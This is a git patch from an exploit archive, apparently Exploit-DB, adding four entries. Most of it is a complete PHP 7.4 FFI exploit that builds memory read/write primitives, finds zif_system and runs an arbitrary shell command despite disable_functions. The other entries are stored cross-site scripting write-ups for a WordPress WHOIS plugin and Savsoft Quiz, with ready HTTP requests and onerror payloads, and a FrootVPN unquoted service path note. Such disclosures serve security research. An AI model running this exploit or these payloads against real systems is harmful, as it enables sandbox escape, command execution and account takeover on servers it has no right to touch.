From 3847f7e468f8099678091caf4dac3f31ad6bc26b Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 10 Jul 2020 05:02:06 +0000 Subject: [PATCH] DB: 2020-07-10 4 changes to exploits/shellcodes FrootVPN 4.8 - 'frootvpn' Unquoted Service Path PHP 7.4 FFI - 'disable_functions' Bypass Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting Savsoft Quiz 5 - Persistent Cross-Site Scripting --- exploits/php/webapps/48655.php | 521 +++++++++++++++++++++++++++++++ exploits/php/webapps/48656.txt | 127 ++++++++ exploits/php/webapps/48658.txt | 65 ++++ exploits/windows/local/48657.txt | 40 +++ files_exploits.csv | 4 + 5 files changed, 757 insertions(+) create mode 100644 exploits/php/webapps/48655.php create mode 100644 exploits/php/webapps/48656.txt create mode 100644 exploits/php/webapps/48658.txt create mode 100644 exploits/windows/local/48657.txt diff --git a/exploits/php/webapps/48655.php b/exploits/php/webapps/48655.php new file mode 100644 index 000000000..d4d00355b --- /dev/null +++ b/exploits/php/webapps/48655.php @@ -0,0 +1,521 @@ + see pornhub php 0-day) + $buf = FFI::new("char [".$amt."]"); + $bufPtr = FFI::addr($buf); + FFI::memset($bufPtr, $fill, $amt); + // not sure if i need to keep the CData reference alive + // or not - but just in case return it too for now + return array($bufPtr, $buf); + } + + // uses leak to leak data from FFI ptr + function leak($ptr, $n, $hex) { + if ( $hex == 0 ) { + return FFI::string($ptr, $n); + } else { + return bin2hex(FFI::string($ptr, $n)); + } + } + + function ptrVal($ptr) { + $tmp = FFI::cast("uint64_t", $ptr); + return $tmp->cdata; + } + + /* Read primative + writes target address overtop of CDATA object pointer, + then leaks directly from the CDATA object + */ + function Read($addr, $n = 8, $hex = 0) { + // Create vulnBuf which we walk back to do the overwrite + // (the size and contents dont really matter) + list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 + // walk back to get ptr to ptr (heap) + $vulnBufPtrPtr = FFI::addr($vulnBufPtr); + /*// DEBUG + $vulnBufPtrVal = ptrVal($vulnBufPtr); + $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); + printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); + printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); + printf("-------\n\n"); + */ + + // Overwrite the ptr + $packedAddr = pack("Q",$addr); + FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); + + // Leak the overwritten ptr + return leak($vulnBufPtr, $n, $hex); + } + + /* Write primative + writes target address overtop of CDATA object pointer, + then writes directly to the CDATA object + */ + function Write($addr, $what, $n) { + // Create vulnBuf which we walk back to do the overwrite + // (the size and contents dont really matter) + list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 + // walk back to get ptr to ptr (heap) + $vulnBufPtrPtr = FFI::addr($vulnBufPtr); + /*// DEBUG + $vulnBufPtrVal = ptrVal($vulnBufPtr); + $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); + printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); + printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); + printf("-------\n\n"); + */ + + // Overwrite the ptr + $packedAddr = pack("Q",$addr); + FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); + + // Write to the overwritten ptr + FFI::memcpy($vulnBufPtr, $what, $n); + } + + function isPtr($knownPtr, $testPtr) { + if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) { + return 1; + } else { + return 0; + } + } + + /* Walks looking for valid pointers + * - each valid ptr is read and if it + - points to the target return the address of the + - ptr and the location it was found + */ + //function getRodataAddr($bssLeak) { + function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) { + $start = $segmentLeak; + for($i = 0; $i < $maxQWORDS; $i++) { + if ( $up == 0 ) { // walk 'down' addresses + $addr = $start - (8 * $i); + } else { // walk 'up' addresses + $addr = $start + (8 * $i); + } + //$leak = Read($addr, 8); + $leak = unpack("Q", Read($addr))[1]; + + // skip if its not a valid pointer... + if ( isPtr($segmentLeak, $leak) == 0 ) { + continue; + } + $leak2 = Read($leak, $n = $size); + //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2); + if( strcmp($leak2, $target) == 0 ) { # match + return array ($leak, $addr); + } + } + return array(0, 0); + } + + function getBinaryBase($textLeak) { + $start = $textLeak & 0xfffffffffffff000; + for($i = 0; $i < 0x10000; $i++) { + $addr = $start - 0x1000 * $i; + $leak = Read($addr, 7); + //if($leak == 0x10102464c457f) { # ELF header + if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header + return $addr; + } + } + return 0; + } + + function parseElf($base) { + $e_type = unpack("S", Read($base + 0x10, 2))[1]; + + $e_phoff = unpack("Q", Read($base + 0x20))[1]; + $e_phentsize = unpack("S", Read($base + 0x36, 2))[1]; + $e_phnum = unpack("S", Read($base + 0x38, 2))[1]; + + for($i = 0; $i < $e_phnum; $i++) { + $header = $base + $e_phoff + $i * $e_phentsize; + $p_type = unpack("L", Read($header, 4))[1]; + $p_flags = unpack("L", Read($header + 4, 4))[1]; + $p_vaddr = unpack("Q", Read($header + 0x10))[1]; + $p_memsz = unpack("Q", Read($header + 0x28))[1]; + + if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write + # handle pie + $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; + $data_size = $p_memsz; + } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec + $text_size = $p_memsz; + } + } + + if(!$data_addr || !$text_size || !$data_size) + return false; + + return [$data_addr, $text_size, $data_size]; + } + + function getBasicFuncs($base, $elf) { + list($data_addr, $text_size, $data_size) = $elf; + for($i = 0; $i < $data_size / 8; $i++) { + $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1]; + if($leak - $base > 0 && $leak - $base < $data_addr - $base) { + $deref = unpack("Q", Read($leak))[1]; + # 'constant' constant check + if($deref != 0x746e6174736e6f63) + continue; + } else continue; + $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1]; + if($leak - $base > 0 && $leak - $base < $data_addr - $base) { + $deref = unpack("Q", Read($leak))[1]; + # 'bin2hex' constant check + if($deref != 0x786568326e6962) + continue; + } else continue; + return $data_addr + $i * 8; + } + } + + function getSystem($basic_funcs) { + $addr = $basic_funcs; + do { + $f_entry = unpack("Q", Read($addr))[1]; + $f_name = Read($f_entry, 6) . "\0"; + + if( strcmp($f_name, "system\0") == 0) { # system + return unpack("Q", Read($addr + 8))[1]; + } + $addr += 0x20; + } while($f_entry != 0); + return false; + } + // Convenient for debugging + function crash() { + Write(0x0, "AAAA", 4); + } + + + printf("\n[+] Starting exploit...\n"); + // --------------------------- start of leak zif_system address + /* NOTE: typically we would leak a .text address and + walk backwards to find the ELF header. From there we can parse + the elf information to resolve zif_system - in our case the + base PHP binary image with the ELF head is on its own mapping + that does not border the .text segment. So we need a creative + way to get zif_system + */ + /* ---- First, we use our read to walk back to the our Zend_object, + // and get its zend_object_handlers* which will point to the + // php binary symbols zend_ffi_cdata_handlers in the .bss. + // + //_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS + // + // From there we search for a ptr to a known value (happens to be to the .rodata section) + // that just so happens to sit right below a ptr to the 'zend_version' relro entry. + // So we do some checks on that to confirm it is infact a valid ptr to the .data.relro. + // + // Finally we walk UP the relro entries looking for the 'system' (zif_system) entry. + + (zend_types.h) + struct _zend_object { <-----typdef zend_object + zend_refcounted_h gc; + uint32_t handle; // may be removed ??? + end_class_entry *ce; + const zend_object_handlers *handlers; <--- func ptrs + HashTable *properties; + zval properties_table[1]; + }; + (ffi.c) + typedef struct _zend_ffi_cdata { + zend_object std; + zend_ffi_type *type; + void *ptr; <--- OVERWRITE + void *ptr_holder; <-- + zend_ffi_flags flags; + } zend_ffi_cdata; + + */ + + list($dummyPtr, $dummy) = allocate(64, 0x41); + // dummy buf ptr + $dummyPtrVal = ptrVal($dummyPtr); + + // dummy buf ptr ptr + $dummyPtrPtr = FFI::addr($dummyPtr); + $dummyPtrPtrVal = ptrVal($dummyPtrPtr); + + printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal); + printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal); + $r = leak($dummyPtr, 64, 1); + printf("Dummy buf:\n%s\n", $r); + printf("-------\n\n"); + + /* + // ------ Test our read and write + $r = Read($dummyPtrVal, 256, 1); + printf("Read Test (DummyBuf):\n%s\n", $r); + + Write($dummyPtrVal, "CCCCCCCC", 8); + $r = Read($dummyPtrVal, 256, 1); + printf("Write Test (DummyBuf):\n%s\n", $r); + // ---------- + */ + + $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8); + printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr); + + $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss + printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr); + + // Find our 'known' value in the .rodata section -- in this case 'CORE' + // (backup can be 'STDIO)' + list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4); + if ( $rodataLeak == 0 ) { + // If we failed let's just try to find PHP's base and hope for the best + printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n"); + // use .txt leak + $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object + printf(".textLeak = 0x%x\n", $textLeak); + $base = getBinaryBase($textLeak); + if ( $base == 0 ) { + die("Failed to get binary base\n"); + } + printf("BinaryBase = 0x%x\n", $base); + // parse elf + if (!($elf = parseElf($base))) { + die("failed to parseElf\n"); + } + if (!($basicFuncs = getBasicFuncs($base, $elf))) { + die("failed to get basic funcs\n"); + } + if (!($zif_system = getSystem($basicFuncs))) { + die("Failed to get system\n"); + } + // XXX HERE XXX + //die("Get rodata addr failed\n"); + } else { + printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak); + + // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static + // zend_version is in .data.rel.ro + $dataRelroPtr = $rodataLeakPtr + 8; + printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr); + + // Read the .data.relro potr + $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1]; + if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) { + die("bad zend_version entry pointer\n"); + } + printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak); + + // Confirm this is a ptrptr to zend_version + $r = unpack("Q", Read($dataRelroLeak))[1]; + if ( isPtr($dataRelroLeak, $r) == 0 ) { + die("bad zend_version entry pointer\n"); + } + + printf("'zend_version' string ptr = 0x%x\n", $r); + + $r = Read($r, $n = 12); + if ( strcmp($r, "zend_version") ) { + die("Failed to find zend_version\n"); + } + printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak); + + + /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry + - this is a LARGE section... + */ + list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1); + if ( $systemEntryPtr == 0 ) { + die("Failed to find zif_system relro entry\n"); + } + printf("system relro entry = 0x%x\n", $systemEntryPtr); + $zif_systemPtr = $systemEntryPtr + 8; + $r = unpack("Q", Read($zif_systemPtr))[1]; + if ( isPtr($zif_systemPtr, $r) == 0 ) { + die("bad zif_system pointer\n"); + } + $zif_system = $r; + } + printf("[+] zif_system @ 0x%x\n", $zif_system); + + // --------------------------- end of leak zif_system address + // --------------------------- start call zif_system + + + /* To call system in a controlled manner + the easiest way is to create cdata object, write target RIP (zif_system's address) to it + and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it + */ + $helper = FFI::new("char* (*)(const char *)"); + //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control + $helperPtr = FFI::addr($helper); + + //list($helperPtr, $helper) = allocate(8, 0x43); + //$x[0] = $zif_system; + $helperPtrVal = ptrVal($helperPtr); + $helperPtrPtr = FFI::addr($helperPtr); + $helperPtrPtrVal = ptrVal($helperPtrPtr); + printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal); + + // Walk the type pointers + //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object + //printf("helper CDATA object @ 0x%x\n", $helperObjPtr); + $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr + //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr); + $r = unpack("Q", Read($helperTypePtrPtr))[1]; + if ( isPtr($helperTypePtrPtr, $r) == 0 ) { + die("bad helper type pointer\n"); + } + $helperTypePtr = $r; + + // Confirm it's currently ZEND_FFI_TYPE_VOID (0) + $r = Read($helperTypePtr, $n=1, $hex=1); + if ( strcmp($r, "00") ) { + die("Unexpected helper type!\n"); + } + + printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr); + + // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15) + Write($helperTypePtr, "\x10", 1); + + printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr); + + // Finally write zif_system to the value + Write($helperPtrVal, pack("Q", $zif_system), 8); + + // --------------------------- end of leak zif_system address + // ----------------------- start of build zif_system argument + /* + zif_system takes 2 args -> zif_system(*zend_execute_data, return_val) + For now I don't bother with the return_val, although tehnically we could control + it and potentially exit cleanly + */ + + // ----------- start of setup zend_execute_data object + + /* Build valid zend_execute object + struct _zend_execute_data { + const zend_op *opline; /* executed opline + zend_execute_data *call; /* current call + zval *return_value; + zend_function *func; /* executed function + zval This; /* this + call_info + num_args + zend_execute_data *prev_execute_data; + zend_array *symbol_table; + void **run_time_cache; /* cache op_array->run_time_cache + }; //0x48 bytes + */ + + //This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data] + $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's + $execute_data .= pack("L", 0); // this.u1.type + $execute_data .= pack("L", 1); // this.u2.num_args + $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj + $execute_data .= str_shuffle(str_repeat("D", 8)); //padding + + // ----------- end of setup zend_execute_data object + // ----------- start of setup argument object + /* the ARG (zval) object lays after the execute_data object + + zval { + value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string]) + u1.type = 6 (IS_STRING) + u2.???? = [unused] + } + */ + + /* + // Let's get our target command setup in a controlled buffer + // TODO - use the dummy buf? + // the string itself is odd. it has 16 bytes prepended to it that idk what it is + // the whole argument after the zend_execute_data object looks like + */ + + $cmd_ = str_repeat("X", 16); // unk padding + $cmd_ .= pack("Q", strlen($cmd)); // string len + $cmd_ .= $cmd . "\0"; // ensure null terminated! + list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0); + $cmdBufPtrVal = ptrVal($cmdBufPtr); + FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_)); + printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal); + + // Now setup the zval object itself + $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string) + $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6]) + $zval .= pack("L", 0); // zval.u2 - unused + + $execute_data .= $zval; + + // ---------- end of setup argument object + // ----------------------- start of build zif_system argument + $res = $helper($execute_data); + //$return_val = 0x0; // // XXX if we want return_val control + //$res = $helper($execute_data, $return_val); // XXX if we want return_val control + // --------------------------- end of call zif_system +} +pwn("touch /tmp/WIN2.txt"); +?> \ No newline at end of file diff --git a/exploits/php/webapps/48656.txt b/exploits/php/webapps/48656.txt new file mode 100644 index 000000000..9f5582d9a --- /dev/null +++ b/exploits/php/webapps/48656.txt @@ -0,0 +1,127 @@ +# Exploit Title: Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting +# Date: 2020-07-07 +# Vendor Homepage: https://powie.de +# Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers +# Software Link: https://wordpress.org/plugins/powies-whois/ +# Exploit Author: mqt +# Author Homepage: https://blog.haao.sh + + +1. Description + +Powie's WHOIS Wordpress plugin was found to be vulnerable to Stored XSS as +multiple fields in the plugin's setup settings fail to properly sanitize +user input. The risk here is mitigated due to the fact that active +exploitation would require authentication. However a lower privileged +Wordpress user would be able to take advantage of the fact that the +arbitrary Javascript executes on the same origin and therefore by using a +specially crafted payload, an attacker would be able to elevate their +privileges or take any of the same actions an admin would be able to. + +All Wordpress websites using Powie's WHOIS version < 0.9.31 are vulnerable. + +2. Vulnerability + +There are two sets of vulnerable fields with each requiring a different +payload in order exploit. + +The first set of vulnerable fields display output using the `` tag to close the HTML element and thus is able to inject +arbitrary Javascript. + + +Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) + + + + + + + + td> + + + + + + +Payload: + +Vulnerable HTTP Request: + +POST /wp-admin/options.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) +Gecko/20100101 Firefox/78.0 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: +http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php +Content-Type: application/x-www-form-urlencoded +Content-Length: 479 +Origin: http://localhost +Connection: close +Cookie: +Upgrade-Insecure-Requests: 1 + +option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output= + + +The second set of vulnerable fields display output using the +element, specifically in the value attribute. As no sanitization is +performed, an attacker is able to use specially crafted input to escape the +value attribute and thus have the ability to inject arbitrary Javascript. + +Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) + + + + + + + + + + +Payload: "> + +Vulnerable HTTP Request: +POST /wp-admin/options.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) +Gecko/20100101 Firefox/78.0 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: +http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php +Content-Type: application/x-www-form-urlencoded +Content-Length: 398 +Origin: http://localhost +Connection: close +Cookie: +Upgrade-Insecure-Requests: 1 + +option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E \ No newline at end of file diff --git a/exploits/php/webapps/48658.txt b/exploits/php/webapps/48658.txt new file mode 100644 index 000000000..f33b7491b --- /dev/null +++ b/exploits/php/webapps/48658.txt @@ -0,0 +1,65 @@ +# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting +# Date: 2020-07-09 +# Exploit Author: Ogulcan Unveren(th3d1gger) +# Vendor Homepage: https://savsoftquiz.com/ +# Software Link: https://github.com/savsofts/savsoftquiz_v5.git +# Version: 5.0 +# Tested on: Kali Linux + +---Vulnerable Source Code---- + function insert_user_2(){ + + $userdata=array( + 'email'=>$this->input->post('email'), + 'password'=>md5($this->input->post('password')), + 'first_name'=>$this->input->post('first_name'), + 'last_name'=>$this->input->post('last_name'), + 'contact_no'=>$this->input->post('contact_no'), + 'gid'=>implode(',',$this->input->post('gid')), + 'su'=>'2' + ); + $veri_code=rand('1111','9999'); + if($this->config->item('verify_email')){ + $userdata['verify_code']=$veri_code; + } + if($this->session->userdata('logged_in_raw')){ + $userraw=$this->session->userdata('logged_in_raw'); + $userraw_uid=$userraw['uid']; + $this->db->where('uid',$userraw_uid); + $rresult=$this->db->update('savsoft_users',$userdata); + if($this->session->userdata('logged_in_raw')){ + $this->session->unset_userdata('logged_in_raw'); + } + }else{ + + $rresult=$this->db->insert('savsoft_users',$userdata); + $uid=$this->db->insert_id(); + foreach($_POST['custom'] as $ck => $cv){ + if($cv != ''){ + $savsoft_users_custom=array( + 'field_id'=>$ck, + 'uid'=>$uid, + 'field_values'=>$cv + ); + $this->db->insert('savsoft_users_custom',$savsoft_users_custom); + } + } + + + + +----Vulnerable Request--- +POST /index.php/login/insert_user/ HTTP/1.1 +Host: savsoftquiz_v5 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://192.168.1.2/index.php/login/registration/ +Content-Type: application/x-www-form-urlencoded +Content-Length: 231 +Connection: close +Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv +Upgrade-Insecure-Requests: 1 + +email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1 \ No newline at end of file diff --git a/exploits/windows/local/48657.txt b/exploits/windows/local/48657.txt new file mode 100644 index 000000000..00a41a3e9 --- /dev/null +++ b/exploits/windows/local/48657.txt @@ -0,0 +1,40 @@ +# Exploit : FrootVPN 4.8 - 'frootvpn' Unquoted Service Path +# Date : 2020-07-09 +# Author : v3n0m +# Vendor : https://frootvpn.com/ +# App Link : https://frootvpn.com/en/download-client?platform=win +# Version : 4.8 +# Tested on : Windows 10 Pro build 19041.329 +# Credits : YOGYACARDERLINK, bejo6, Ika Atikasari + +# PoC: + +Microsoft Windows [Version 10.0.19041.329] +(c) 2020 Microsoft Corporation. All rights reserved. + +C:\Users\HP>wmic service get name,pathname,startmode,StartName | findstr "FrootVPN" +FrootVPN "C:\Program Files\FrootVPN\vpn.service.exe" Manual LocalSystem + +C:\Users\HP>sc qc frootvpn +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: frootvpn + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 3 DEMAND_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : "C:\Program Files\FrootVPN\vpn.service.exe" + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : FrootVPN + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +C:\Users\HP> + + +# Security Risk + +A successful attempt would require the local user to be able to insert their code +in the system root path undetected by the OS or other security applications +where it could potentially be executed during application startup or reboot. +If successful, the local user's code would execute with the elevated privileges of the application. \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 802d943be..c7033d76d 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11120,6 +11120,7 @@ id,file,description,date,author,type,platform,port 48625,exploits/windows/local/48625.txt,"KiteService 1.2020.618.0 - Unquoted Service Path",2020-06-26,"Marcos Antonio León",local,windows, 48628,exploits/windows/local/48628.py,"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)",2020-07-01,"Paras Bhatia",local,windows, 48644,exploits/hardware/local/48644.c,"Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)",2020-03-21,TheFloW,local,hardware, +48657,exploits/windows/local/48657.txt,"FrootVPN 4.8 - 'frootvpn' Unquoted Service Path",2020-07-09,v3n0m,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -42905,3 +42906,6 @@ id,file,description,date,author,type,platform,port 48649,exploits/multiple/webapps/48649.txt,"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation",2020-07-07,"William Summerhill",webapps,multiple, 48652,exploits/hardware/webapps/48652.txt,"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)",2020-07-08,"Metin Yunus Kandemir",webapps,hardware, 48653,exploits/hardware/webapps/48653.txt,"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)",2020-07-08,"William Summerhill",webapps,hardware, +48655,exploits/php/webapps/48655.php,"PHP 7.4 FFI - 'disable_functions' Bypass",2020-07-07,"hunter gregal",webapps,php, +48656,exploits/php/webapps/48656.txt,"Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting",2020-07-09,mqt,webapps,php, +48658,exploits/php/webapps/48658.txt,"Savsoft Quiz 5 - Persistent Cross-Site Scripting",2020-07-09,th3d1gger,webapps,php,